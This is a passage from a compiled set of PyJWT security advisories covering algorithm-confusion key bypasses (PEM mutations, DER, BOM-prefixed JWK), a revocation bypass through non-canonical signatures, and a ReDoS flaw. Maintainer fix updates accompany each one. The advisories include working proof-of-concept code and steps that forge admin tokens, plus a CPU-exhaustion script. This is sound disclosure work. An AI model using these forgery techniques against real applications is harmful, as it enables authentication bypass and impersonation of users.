indented YAML/JSON block, a single-line environment variable or JSON string, or a CR/LF round-trip through config tooling. The attacker additionally needs the public verification key, which is public by definition, and `cryptography` must be installed. The fix for CVE-2022-29217 rejects an asymmetric key handed to an HMAC algorithm, but only when `is_pem_format()` recognizes the key as PEM. That recognizer accepts strictly fewer byte-forms than the loader that later parses the key, so a PEM the guard misses still loads as a valid public key and is then used as an HMAC secret. This is an incomplete-guard bypass of the CVE-2022-29217 family. ##### Summary A PEM public key with marker-adjacent whitespace, CR-only line terminators, or folded to a single line makes PyJWT's `is_pem_format()` return `False` while `cryptography.load_pem_public_key()` accepts the identical bytes. The asymmetric-key rejection in `HMACAlgorithm.prepare_key` is skipped, the public key becomes the HMAC secret, and an attacker who knows the public key mints a valid `HS256` token — universal forgery — whenever the verify allow-list mixes an HMAC and an asymmetric algorithm. ##### Details At `jwt/algorithms.py:331-335`, `HMACAlgorithm.prepare_key` contains the sole family-mismatch guard: if is_pem_format(key_bytes) or is_ssh_key(key_bytes): raise InvalidKeyError( "The specified key is an asymmetric key or x509 certificate and" " should not be used as an HMAC secret." ) If neither predicate fires, `:357` returns `key_bytes` unchanged — the PEM text is used directly as the HMAC secret. `is_pem_format` (`jwt/utils.py:116-127`) is `bool(_PEM_RE.search(key))`, where `_PEM_RE` requires `----[- ]BEGIN (...)[- ]----\r?\n`, then `.+?\r?\n`, then the END marker. The LF in each `\r?\n` is mandatory, the markers are anchored directly after a newline, and only `[- ]` is tolerated adjacent to them — not arbitrary whitespace. So a key with a tab/space before the END marker, with bare `\r` terminators, or folded onto one line is not recognized as PEM. `cryptography`'s `load_pem_public_key` is tolerant of exactly these forms and still returns the key. Reach: `jwt/api_jws.py:386` performs the allow-list check (passes when `HS256` is in the list) and takes the non-`PyJWK` branch to `alg_obj.prepare_key(key)` at `:407`. The mismatch guard above is the only thing standing between a mixed allow-list and using the public key as an HMAC secret. ##### PoC Vulnerable path: `jwt/algorithms.py:331` (guard gated on `is_pem_format`) -> `is_pem_format` returns `False` for a loader-accepted PEM -> `jwt/algorithms.py:357` returns the public-key bytes as the HMAC secret -> `HS256` verification succeeds. Reproduced on PyJWT 2.13.0 (commit `7144e453`) with `cryptography` 49.0.0, using only the public API. For each of an EC (ES256) and an RSA-2048 (RS256) key: start from the correct public-key PEM, apply a mutation, confirm `is_pem_format` now returns `False` while `cryptography` still loads the bytes, then verify a token signed `alg=HS256` with the public-key text as the HMAC secret, under `algorithms=["ES256","HS256"]` (resp. `["RS256","HS256"]`). Observed output: pyjwt 2.13.0 ec canonical (control) is_pem_format=True crypto_loads=True forgery=BLOCKED:InvalidKeyError ec marker-adjacent (tab before END) is_pem_format=False crypto_loads=True forgery=FORGED(superadmin) ec CR-only terminators is_pem_format=False crypto_loads=True forgery=FORGED(superadmin) ec folded single-line is_pem_format=False crypto_loads=True forgery=FORGED(superadmin) rsa canonical (control) is_pem_format=True crypto_loads=True forgery=BLOCKED:InvalidKeyError rsa marker-adjacent (tab before END) is_pem_format=False crypto_loads=True forgery=FORGED(superadmin) rsa CR-only terminators is_pem_format=False crypto_loads=True forgery=FORGED(superadmin) rsa folded single-line is_pem_format=False crypto_loads=True forgery=FORGED(superadmin) [control B] single-alg [ES256] allow-list vs forged HS256: REJECTED:InvalidAlgorithmError RESULT: ALL-INVARIANTS-HOLD Each mutated form on both key types forged a token accepted as `superadmin`. Controls: the unmodified PEM is correctly rejected with `InvalidKeyError` (the guard works and the mutation is load-bearing); a single-algorithm allow-list `["ES256"]` rejects the forged `HS256` token with `InvalidAlgorithmError` (the mixed allow-list is a necessary precondition). Steps to reproduce: 1. Generate an EC P-256 (or RSA-2048) keypair; serialize the public key to PEM. 2. Mutate the PEM into a loader-accepted, regex-missed form — e.g. insert a tab before `-----END`, convert terminators to bare `\r`, or join all lines into one. 3. Confirm `jwt.utils.is_pem_format(mutated) is False` and `cryptography.hazmat.primitives.serialization.load_pem_public_key(mutated)` succeeds. 4. `jwt.encode({"sub":"superadmin"}, mutated, algorithm="HS256")`, then `jwt.decode(token, mutated, algorithms=["ES256","HS256"])` — verification succeeds. ##### Impact Cryptographic signature-verification bypass (CWE-347): algorithm confusion re-enabled by an incomplete asymmetric-key guard. An attacker who knows only the public verification key forges arbitrary-claim tokens that verify as authentic, subject to the two deployment preconditions above. The `PyJWK` verification path binds a single algorithm and is unaffected; `enforce_minimum_key_length` (off by default) does not block a 2048-bit/P-256 PEM. Impact when the preconditions hold is critical (universal forgery); the compound precondition is realistic but was not observed in a specific real-world deployment, so this is rated Critical, with the deployment precondition captured in CVSS. ##### Maintainer update — 2026-09-10 We reproduced the reported asymmetric-key guard bypass on PyJWT 2.13.0: PEM public keys with loader-accepted formatting mutations were missed by `is_pem_format`, then accepted as HMAC secrets when a verification call mixed symmetric and asymmetric algorithms. Canonical PEM controls remained blocked, and a single-algorithm allow-list rejected the forged HS256 token. The fix is committed as `8b4e233a22206b34ec1186e912e75c0b2396ac07`. PyJWT now scans supported PEM BEGIN/END markers in one pass, preserving matching labels and handling overlapping markers without regex backtracking. Regression coverage includes RSA loader-accepted mutations, incomplete repeated markers, later valid PEM blocks, and overlapping END/BEGIN markers. The fix does not broaden DER-key classification or change the caller's algorithm allow-list policy. Verification on the signed commit passes with 400 tests and 4 intentional cryptography-environment skips; Ruff formatting/lint and the Python 3.9 mypy tox target pass. Fresh Astra/max independent review accepted the final snapshot and confirmed O(n) scanning, bounded storage, and no blocking compatibility or security finding. The fix has not been released; the advisory remains Critical with CVSS 3.1 score 9.1 and CWE-347. ##### Maintainer update — 2026-09-11 The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version. #### Severity - CVSS Score: 9.1 / 10 (Critical) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N` #### References - [https://github.com/jpadilla/pyjwt/security/advisories/GHSA-ffc3-869f-jxw9](https://github.com/jpadilla/pyjwt/security/advisories/GHSA-ffc3-869f-jxw9) - [https://nvd.nist.gov/vuln/detail/CVE-2026-102268](https://nvd.nist.gov/vuln/detail/CVE-2026-102268) - [https://github.com/jpadilla/pyjwt/commit/8b4e233a22206b34ec1186e912e75c0b2396ac07](https://github.com/jpadilla/pyjwt/commit/8b4e233a22206b34ec1186e912e75c0b2396ac07) - [https://github.com/jpadilla/pyjwt](https://github.com/jpadilla/pyjwt) - [https://github.com/jpadilla/pyjwt/releases/tag/2.14.0](https://github.com/jpadilla/pyjwt/releases/tag/2.14.0) - [https://pypi.org/project/pyjwt](https://pypi.org/project/pyjwt) - [https://github.com/advisories/GHSA-ffc3-869f-jxw9](https://github.com/advisories/GHSA-ffc3-869f-jxw9) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-4145) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### PyJWT: Non-canonical signature segments enable raw-token revocation bypass [CVE-2026-102269](https://nvd.nist.gov/vuln/detail/CVE-2026-102269) / [GHSA-hxm8-2xgr-2p9m](https://github.com/advisories/GHSA-hxm8-2xgr-2p9m) / PYSEC-2026-4147 <details> <summary>More information</summary> #### Details ##### Summary PyJWT 2.13.0 accepts compact JWS signature segments containing characters that are not in the Base64URL alphabet. Appending `!!!!` to a valid signature does not change the decoded signature bytes or authenticated claims, but it changes the serialized token and its SHA-256 hash. An application that indexes logout or revocation state by the raw token therefore rejects the logged-out token and accepts its no-key alternate serialization. This report separates two issues: permissive compact-JWS decoding is the library behavior, while using raw serialized JWT text as a security identity is a dangerous application composition. A `jti`-indexed control blocks both representations. ##### Affected Version Confirmed with PyJWT 2.13.0 on CPython 3.13. The mutation changes only the signature segment and requires no signing key. ##### End-to-End Reproduction ```bash .venv-research/bin/python 06-practical-testing/revocation-bypass-lab.py ``` The loopback-only lab performs: 1. Issue a valid HS256 admin token. 2. Access `/protected` successfully. 3. Log out the canonical token and store `SHA256(raw_token)`. 4. Confirm canonical replay returns HTTP 401. 5. Append `!!!!` to only the signature segment. 6. Confirm the mutated token has the same verified claims and signature bytes, a different raw hash, and receives HTTP 200. 7. Repeat with `jti`-indexed revocation and confirm both forms return HTTP 401. Observed statuses for raw-token revocation were `200 -> logout -> 401` for the canonical token and `200` for the alternate serialization. The `jti` control returned `401` for both replays after logout. ##### Security Boundaries and Severity This is not signature forgery: the attacker starts with a valid token and cannot alter its claims. Impact requires a consumer to bind revocation, replay state, rate limits, or cache identity to the raw compact string. Under that composition, an authenticated user can bypass logout or token-specific revocation without the signing key. Medium is suggested for triage because the security impact is real but application-dependent. ##### Recommended Fix - Reject signature segments containing characters outside `[A-Za-z0-9_-]`. - Reject padding and other non-canonical Base64URL encodings for compact JWS. - Add regression tests proving malformed signature encodings fail before or during verification. - Document that applications must use a semantic identifier such as `jti`, not the raw serialized token, for revocation and replay state. ##### Maintainer update — 2026-09-09 We reproduced the reported behavior on the verified `master` commit `8915570`: appending `!!!!` to a valid compact-JWS signature segment is accepted, produces the same decoded signature bytes and claims, and changes the serialized token hash. Existing JWS verification controls pass. The behavior is present in the tested release range represented by tags `2.4.0`, `2.8.0`, `2.10.1`, `2.12.1`, and `2.13.0`. The security impact is conditional on an application using the raw serialized token as the identity for logout, revocation, replay, rate-limit, or cache state. Under that composition, an attacker who already holds a valid token can use an alternate serialization after the canonical string is revoked. This is not signature forgery or claim alteration; applications should use a semantic identifier such as `jti` for token identity. The report is ready to be accepted as a draft for continued remediation. A narrow fix assessment recommends rejecting non-canonical Base64URL characters and padding in compact-JWS segments. No fix commit or release is claimed yet. ##### Maintainer update — 2026-09-09 The fix has been rebased onto the current `master` as `e6f48401001609a8f99e71fcaf355fb895d508a8` and is ready to be pushed. Compact-JWS header, payload, and signature segments are now required to use the unpadded Base64URL alphabet and canonical re-encoding; a signature segment containing non-canonical characters such as `!!!!` is rejected before verification. Valid detached `b64=false` handling remains supported. Verification on the rebased fix commit passed 372 tests with 4 intentional cryptography-environment skips; Ruff formatting/lint and `git diff --check` passed. The compressed-payload regression fixture was updated to valid canonical compact-JWS encoding. No release containing the fix has been published yet, so the patched version remains unset pending release planning. The advisory remains medium severity and unpublished. ##### Classification update — 2026-09-10 We completed the advisory classification review. The proposed CVSS 3.1 vector is `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N` and the proposed CWE classification is CWE-180. The issue permits alternate non-canonical serializations of an already valid signed token to bypass applications that identify tokens by their raw serialization; it does not forge signatures or alter claims. CWE-180 captures validation/canonicalization ordering. These metadata changes do not alter the affected range, fix status, or lifecycle state. ##### Maintainer update — 2026-09-11 The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version. #### Severity - CVSS Score: 4.8 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N` #### References - [https://github.com/jpadilla/pyjwt/security/advisories/GHSA-hxm8-2xgr-2p9m](https://github.com/jpadilla/pyjwt/security/advisories/GHSA-hxm8-2xgr-2p9m) - [https://nvd.nist.gov/vuln/detail/CVE-2026-102269](https://nvd.nist.gov/vuln/detail/CVE-2026-102269) - [https://github.com/jpadilla/pyjwt/commit/e6f48401001609a8f99e71fcaf355fb895d508a8](https://github.com/jpadilla/pyjwt/commit/e6f48401001609a8f99e71fcaf355fb895d508a8) - [https://github.com/jpadilla/pyjwt](https://github.com/jpadilla/pyjwt) - [https://github.com/jpadilla/pyjwt/releases/tag/2.14.0](https://github.com/jpadilla/pyjwt/releases/tag/2.14.0) - [https://pypi.org/project/pyjwt](https://pypi.org/project/pyjwt) - [https://github.com/advisories/GHSA-hxm8-2xgr-2p9m](https://github.com/advisories/GHSA-hxm8-2xgr-2p9m) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-4147) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### PyJWT: ReDoS vulnerability when calling the `is_pem_format` function. [CVE-2026-102270](https://nvd.nist.gov/vuln/detail/CVE-2026-102270) / [GHSA-jwrc-g2q2-pq5p](https://github.com/advisories/GHSA-jwrc-g2q2-pq5p) / PYSEC-2026-4148 <details> <summary>More information</summary> #### Details ##### Summary There is a Re-DoS vulnerability in the `is_pem_format` function which results in a intesive CPU usage if an attacker is been able to provide a custom certificate. ##### Details The problem is that the lazy quantifier `.+?` will always first try to match as little as possible until it finds a `---- END`. Normally this means the complexity of this should be O(N). However, by providing an input which consists only of `----BEGIN CERTIFICATE-----` lines and no `---- END` line, the regex algorithm will first try to match the first line and then, with the lazy quantifier, all the lines until the end O(N), which then fails since it is unable to find a `---- END` line. It will then jump to the next line, resulting in N re-scans of the whole string, which means the complexity basically results in O(N²). ##### PoC ```python import time import re BEGIN_LINE = b"-----BEGIN CERTIFICATE-----\n" _PEMS = { b"CERTIFICATE", b"TRUSTED CERTIFICATE", b"PRIVATE KEY", b"PUBLIC KEY", b"ENCRYPTED PRIVATE KEY", b"OPENSSH PRIVATE KEY", b"DSA PRIVATE KEY", b"RSA PRIVATE KEY", b"RSA PUBLIC KEY", b"EC PRIVATE KEY", b"DH PARAMETERS", b"NEW CERTIFICATE REQUEST", b"CERTIFICATE REQUEST", b"SSH2 PUBLIC KEY", b"SSH2 ENCRYPTED PRIVATE KEY", b"X509 CRL", } _PEM_RE = re.compile( b"----[- ]BEGIN (" + b"|".join(_PEMS) + b""")[- ]----\r? .+?\r? ----[- ]END \\1[- ]----\r?\n?""", re.DOTALL, ) def is_pem_format(key: bytes) -> bool: return bool(_PEM_RE.search(key)) def make_payload(num_headers: int) -> bytes: return BEGIN_LINE * num_headers def measure(num_headers: int) -> float: payload = make_payload(num_headers) start = time.perf_counter() is_pem_format(payload) # returns False, but burns CPU getting there elapsed = time.perf_counter() - start print( f" headers={num_headers:>4} size={len(payload)//1024:>3} KB" f" time={elapsed*1000:>7.1f} ms" ) return elapsed for n in (1000, 2000, 4000, 8000): measure(n) ``` ##### Impact The attacker could use extensive resources, which could make the resource (e.g. a web server) unavailable. ##### Maintainer update (2026-09-10): We reproduced the reported quadratic regex behavior on malformed PEM-like input: doubling repeated BEGIN lines produced approximately fourfold runtime growth, while equal-sized ordinary input remained negligible. The affected path is reached when an application passes attacker-controlled key or certificate bytes to PyJWT’s key preparation, and the impact is resource exhaustion. The fix is on master in commit 8b4e233a22206b34ec1186e912e75c0b2396ac07; it replaces the backtracking PEM regex with a bounded marker scan. Fresh Astra/max review accepted the fix and confirmed malformed, mixed-label, and valid-input controls. This is a distinct ReDoS finding from the later PEM-recognition report that shares the implementation commit. The fix has not yet shipped in a released PyJWT 2.x version, so this advisory is being moved to draft and remains unpublished pending release. ##### Maintainer update — 2026-09-11 The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with the release recorded as the patched version. #### Severity - CVSS Score: 4.4 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H` #### References - [https://github.com/jpadilla/pyjwt/security/advisories/GHSA-jwrc-g2q2-pq5p](https://github.com/jpadilla/pyjwt/security/advisories/GHSA-jwrc-g2q2-pq5p) - [https://nvd.nist.gov/vuln/detail/CVE-2026-102270](https://nvd.nist.gov/vuln/detail/CVE-2026-102270) - [https://github.com/jpadilla/pyjwt/commit/8b4e233a22206b34ec1186e912e75c0b2396ac07](https://github.com/jpadilla/pyjwt/commit/8b4e233a22206b34ec1186e912e75c0b2396ac07) - [https://github.com/jpadilla/pyjwt](https://github.com/jpadilla/pyjwt) - [https://github.com/jpadilla/pyjwt/releases/tag/2.14.0](https://github.com/jpadilla/pyjwt/releases/tag/2.14.0) - [https://pypi.org/project/pyjwt](https://pypi.org/project/pyjwt) - [https://github.com/advisories/GHSA-jwrc-g2q2-pq5p](https://github.com/advisories/GHSA-jwrc-g2q2-pq5p) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-4148) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### PyJWT: Public keys in DER form are accepted as HMAC secrets, bypassing the CVE-2022-29217 guard [CVE-2026-102271](https://nvd.nist.gov/vuln/detail/CVE-2026-102271) / [GHSA-p4g4-x82p-q773](https://github.com/advisories/GHSA-p4g4-x82p-q773) / PYSEC-2026-4149 <details> <summary>More information</summary> #### Details ##### Summary `HMACAlgorithm.prepare_key` blocks asymmetric keys from being used as HMAC secrets by searching for text markers only. It looks for `-----BEGIN` and for an `ssh-` prefix. The same key in DER form is binary ASN.1 and has neither marker, so it passes the check and is used as an HMAC secret. An application that verifies tokens with an RSA or EC public key, and also allows HS256 with that same key, can be given a forged token. The attacker signs it with the public key, which is public. This is the key confusion problem CVE-2022-29217 was filed for, reachable again through a different encoding. The reach is smaller than the original CVE. The application must already be in that misconfiguration, and it must hold its public key as DER bytes rather than PEM. ##### Details The guard is at `jwt/algorithms.py:331`: ```python if is_pem_format(key_bytes) or is_ssh_key(key_bytes): raise InvalidKeyError( "The specified key is an asymmetric key or x509 certificate and" " should not be used as an HMAC secret." ) ``` Both helpers are text matchers. Neither one parses the key. - `jwt/utils.py:126`, `is_pem_format`, runs a regex for `----[- ]BEGIN ...----`. - `jwt/utils.py:141`, `is_ssh_key`, checks `startswith` against a list of `ssh-` and `ecdsa-sha2-` prefixes. A DER encoded public key starts with the bytes `0x30 0x82`. It matches neither, so `prepare_key` returns it unchanged and it becomes the HMAC secret. There is no DER handling anywhere in the package. `grep -rni "\bDER\b|load_der" jwt/ tests/` returns nothing. This affects three encodings that are all blocked in their PEM form today: - DER SubjectPublicKeyInfo - DER PKCS#1 - DER encoded X.509 certificate History of this guard: - Added in 2.4.0 for CVE-2022-29217 and GHSA-ffqj-6fqr-9h24, covering PEM and SSH. - Extended in 2.13.0 for GHSA-xgmm-8j9v-c9wx, covering JWK JSON documents. - DER has never been covered. Applications that use `PyJWK` or `PyJWKClient` are not affected. `jwt/api_jws.py:395` binds the header `alg` to the key's own algorithm, so HS256 never reaches `HMACAlgorithm.prepare_key` on that path. Suggested fix: try to parse the bytes as a key and reject if parsing works. For example `load_der_public_key`, `load_der_private_key` and `load_der_x509_certificate` in a try/except chain, next to the checks already there. A random HMAC secret will not parse as valid DER, so real secrets should not be rejected. ##### PoC Tested on 2.4.0, on 2.13.0, and on main at commit `7144e4534`. All three behave the same. The guard has been marker based since 2.4.0, so the versions in between are very likely affected as well. ```console pip install "pyjwt==2.13.0" cryptography python poc.py ``` No special configuration is needed. The script builds its own key. ```python import base64 import hashlib import hmac import json import jwt from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.primitives.serialization import Encoding, PublicFormat pub = rsa.generate_private_key(public_exponent=65537, key_size=2048).public_key() pem = pub.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo) der = pub.public_bytes(Encoding.DER, PublicFormat.SubjectPublicKeyInfo) der_pkcs1 = pub.public_bytes(Encoding.DER, PublicFormat.PKCS1) def b64(raw): return base64.urlsafe_b64encode(raw).rstrip(b"=") def forge(secret): # The attacker does not use PyJWT. They only need the public key bytes. head = b64(json.dumps({"alg": "HS256", "typ": "JWT"}).encode()) body = b64(json.dumps({"user": "admin", "role": "admin"}).encode()) signing_input = head + b"." + body sig = hmac.new(secret, signing_input, hashlib.sha256).digest() return (signing_input + b"." + b64(sig)).decode() ##### PEM form is rejected, as expected since CVE-2022-29217. try: jwt.decode(forge(pem), pem, algorithms=["RS256", "HS256"]) except jwt.exceptions.InvalidKeyError as exc: print("PEM rejected:", exc) ##### Same key, DER form. The forged token verifies. print("DER SPKI accepted:", jwt.decode(forge(der), der, algorithms=["RS256", "HS256"])) print("DER PKCS#1 accepted:", jwt.decode(forge(der_pkcs1), der_pkcs1, algorithms=["RS256", "HS256"])) ``` Output: ``` PEM rejected: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC s DER SPKI accepted: {'user': 'admin', 'role': 'admin'} DER PKCS#1 accepted: {'user': 'admin', 'role': 'admin'} ``` The token is signed with plain `hmac`, so this exercises the verify path only. The PEM and the DER values come from the same key object, so the encoding is the only thing that changes. We also have a regression test written in your pytest style. It uses your own `tests/keys` fixtures, covers the DER certificate case too, and fails on current main. Glad to send it or open a PR. ##### Impact Key confusion, CWE-347, improper verification of a cryptographic signature. Same class as CVE-2022-29217. Who is affected: applications that verify tokens with an asymmetric public key, also list an HS\* algorithm pass that public key to `jwt.decode` as DER bytes. What an attacker gets: they can mint tokens with any claims they want, so they can log in as any user. They is public, and they re-encode it to DER. Nothing secret has to be stolen first. What limits it: the application must already be in the mixed HS\* and RS\* misconfiguration. It must also hoEM is the more common form and is still blocked. Users of `PyJWK` and `PyJWKClient` are not affected. > Maintainer update (2026-09-10): We reproduced the issue for DER SubjectPublicKeyInfo, RSA PKCS#1 public-key DER, and DER X.509 certificate inputs when a caller mixes HS* and an asymmetric algorithm and passes the public material as raw bytes. The fix is on master in commit 2798504fa2663364573cf2d1043d8d7fef389499; HMACAlgorithm.prepare_key now rejects DER public keys and certificates when cryptography is available, while arbitrary binary HMAC secrets remain accepted. Verification included the DER regression/control tests, full python -m tox (available environments passed; unavailable interpreters were skipped), Ruff, mypy, packaging, and coverage. The fix has not yet shipped in a release, so this advisory is being moved from triage to draft and will remain unpublished until a supported 2.x release contains the fix. Private-key container formats are outside this fix scope. ##### Maintainer update — 2026-09-11 The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version. #### Severity - CVSS Score: 7.4 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N` #### References - [https://github.com/jpadilla/pyjwt/security/advisories/GHSA-p4g4-x82p-q773](https://github.com/jpadilla/pyjwt/security/advisories/GHSA-p4g4-x82p-q773) - [https://nvd.nist.gov/vuln/detail/CVE-2026-102271](https://nvd.nist.gov/vuln/detail/CVE-2026-102271) - [https://github.com/jpadilla/pyjwt/commit/2798504fa2663364573cf2d1043d8d7fef389499](https://github.com/jpadilla/pyjwt/commit/2798504fa2663364573cf2d1043d8d7fef389499) - [https://github.com/jpadilla/pyjwt](https://github.com/jpadilla/pyjwt) - [https://github.com/jpadilla/pyjwt/releases/tag/2.14.0](https://github.com/jpadilla/pyjwt/releases/tag/2.14.0) - [https://pypi.org/project/pyjwt](https://pypi.org/project/pyjwt) - [https://github.com/advisories/GHSA-p4g4-x82p-q773](https://github.com/advisories/GHSA-p4g4-x82p-q773) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-4149) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### PyJWT BOM Bypass [CVE-2026-102272](https://nvd.nist.gov/vuln/detail/CVE-2026-102272) / [GHSA-r6x4-923q-g947](https://github.com/advisories/GHSA-r6x4-923q-g947) / PYSEC-2026-4150 <details> <summary>More information</summary> #### Details ##### Affected Package - **Package**: PyJWT (`pyjwt` on PyPI) - **Repository**: https://www.google.com/url?q=https://github.com/jpadilla/pyjwt&source=gmail&ust=1781794518474000&sa=E - **Affected version**: 2.13.0 - **Vulnerability class**: Algorithm confusion / patch bypass --- ##### Root Cause PyJWT 2.13.0 introduced a guard in `HMACAlgorithm.prepare_key()` (file `jwt/algorithms.py`, approximately line 344) to prevent RSA public key material from being used as an HMAC secret — the root cause of CVE-2026-48526. The guard uses `bytes.lstrip()` before calling `startswith(b"{")`: ```python stripped = key_bytes.lstrip() # strips ASCII whitespace only if stripped.startswith(b"{"): # JWK detection ... raise InvalidKeyError("The specified key is an asymmetric key...") ``` `bytes.lstrip()` with no argument removes only bytes in the ASCII whitespace set (`\x20 \t \n \r \x0b \x0c`). A UTF-8 BOM prefix (`\xef\xbb\xbf`) is not stripped, so `stripped.startswith(b"{")` returns `False` for any BOM-prefixed JWK JSON. The JWK detection block is never entered, and the RSA public key bytes are silently accepted as the HMAC-SHA256 secret. --- ##### PoC Sketch (pseudocode — not a weaponized payload) ```python ##### 1. Attacker obtains RSA public key JWK (e.g., from /jwks.json endpoint) ##### and prepends a UTF-8 BOM byte sequence before the JSON opening brace. ##### 2. Attacker signs a JWT using HS256, with the BOM-prefixed JWK as the secret. ##### 3. Attacker submits the forged token to a verifier that: ##### - accepts algorithms=["HS256", "RS256"] ##### - holds the same RSA public key as raw bytes (BOM-prefixed key file) ##### 4. PyJWT 2.13.0 accepts the token because the BOM causes the JWK ##### detection check to be skipped — the RSA JWK bytes become a valid HMAC key. ##### Result: arbitrary claims (role, sub, etc.) accepted by the verifier. ``` --- ##### Impact An unauthenticated network attacker who knows the target application's RSA public key — which is public by design and obtainable from a JWKS endpoint or certificate — can forge JWT tokens containing arbitrary claims and have them accepted by a PyJWT 2.13.0 verifier configured with a mixed algorithm set (`algorithms=["HS256", "RS256"]` or equivalent). The resulting impact is complete authentication and authorization bypass (`C:H/I:H`). Attack Complexity is High (`AC:H`) because the attacker must obtain the RSA public key and the verifier must use a mixed-algorithm configuration; no authentication is required (`PR:N`). This is a patch bypass: users who upgraded to 2.13.0 specifically to remediate CVE-2026-48526 remain vulnerable. --- ##### Suggested Fix **Option A (minimal)**: Replace `lstrip()` with an explicit strip of known BOM prefixes before the JSON detection check: ```python ##### Strip common BOM prefixes in addition to ASCII whitespace BOM_PREFIXES = (b"\xef\xbb\xbf", b"\xff\xfe", b"\xfe\xff") stripped = key_bytes for bom in BOM_PREFIXES: if stripped.startswith(bom): stripped = stripped[len(bom):] break stripped = stripped.lstrip() ``` **Option B (more robust)**: Use `json.loads()` as the detection mechanism instead of a byte-prefix check, so encoding variants and whitespace are handled by the JSON parser: ```python try: test_obj = json.loads(key_bytes.strip()) if isinstance(test_obj, dict) and "kty" in test_obj: raise InvalidKeyError("The specified key is an asymmetric key...") except (ValueError, UnicodeDecodeError): pass ``` Option B is preferred because it is resilient to any future encoding variant. --- ##### Maintainer update — 2026-09-09 We reproduced the reported algorithm-confusion path on PyJWT 2.13.0. When an application passes a raw public RSA JWK as the key and allows both an asymmetric and HMAC algorithm, a forged HS256 token signed with the known public JWK bytes is accepted when the JWK is represented in encodings accepted by Python's JSON decoder. The normal raw-JWK, asymmetric-only, and algorithm-bound `PyJWK` controls reject the token. This is an application configuration precondition, but the bypass is in PyJWT's own raw-JWK validation guard and is in scope under the PyJWT security policy. The fix is committed as `180783930de91876bc0d601f826a1f2956057291`. `HMACAlgorithm.prepare_key()` now checks parsed JSON objects for `kty` across accepted UTF-8/16/32 representations, preserves non-JWK HMAC key bytes, and conservatively rejects deeply nested JSON objects even when parsing reaches the recursion guard. Regression coverage includes BOM and BOM-less encodings, deep non-JWK keys, deep JWK objects, and unpaired-surrogate cases. The full suite passes with 391 tests and 4 intentional cryptography-environment skips. A fresh Astra/max independent review accepted commit `180783930de91876bc0d601f826a1f2956057291`. It independently confirmed encoding/BOM handling, recursion and surrogate behavior, preservation of non-object key compatibility, and the reported test results. The fix has not been released. The advisory remains High with its existing CVSS 3.1 score of 7.4, and the patched version remains unset pending release planning. ##### Classification update — 2026-09-10 We completed the advisory classification review. The proposed CVSS 3.1 vector is `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N` and the proposed CWE classification is CWE-347. These classifications reflect the documented impact and do not alter the affected range, fix status, or lifecycle state. ##### Maintainer update — 2026-09-11 The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version. #### Severity - CVSS Score: 7.4 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N` #### References - [https://github.com/jpadilla/pyjwt/security/advisories/GHSA-r6x4-923q-g947](https://github.com/jpadilla/pyjwt/security/advisories/GHSA-r6x4-923q-g947) - [https://nvd.nist.gov/vuln/detail/CVE-2026-102272](https://nvd.nist.gov/vuln/detail/CVE-2026-102272) - [https://github.com/jpadilla/pyjwt/commit/180783930de91876bc0d601f826a1f2956057291](https://github.com/jpadilla/pyjwt/commit/180783930de91876bc0d601f826a1f2956057291) - [https://github.com/jpadilla/pyjwt](https://github.com/jpadilla/pyjwt) - [https://github.com/jpadilla/pyjwt/releases/tag/2.14.0](https://github.com/jpadilla/pyjwt/releases/tag/2.14.0) - [https://pypi.org/project/pyjwt](https://pypi.org/project/pyjwt) - [https://github.com/advisories/GHSA-r6x4-923q-g947](https://github.com/advisories/GHSA-r6x4-923q-g947) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-4150) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### PyJWT accepts public JWK containers as HMAC secrets [CVE-2026-102273](https://nvd.nist.gov/vuln/detail/CVE-2026-102273) / [GHSA-w2cx-738m-mc7w](https://github.com/advisories/GHSA-w2cx-738m-mc7w) / PYSEC-2026-4151 <details> <summary>More information</summary> #### Details ##### Summary PyJWT 2.13.0 contains an incomplete defense against algorithm confusion when an application mixes symmetric and asymmetric algorithms in one verification path. A public RSA, EC, or OKP JWK can be accepted as an HMAC secret when it is wrapped in a JWKS object, nested in an 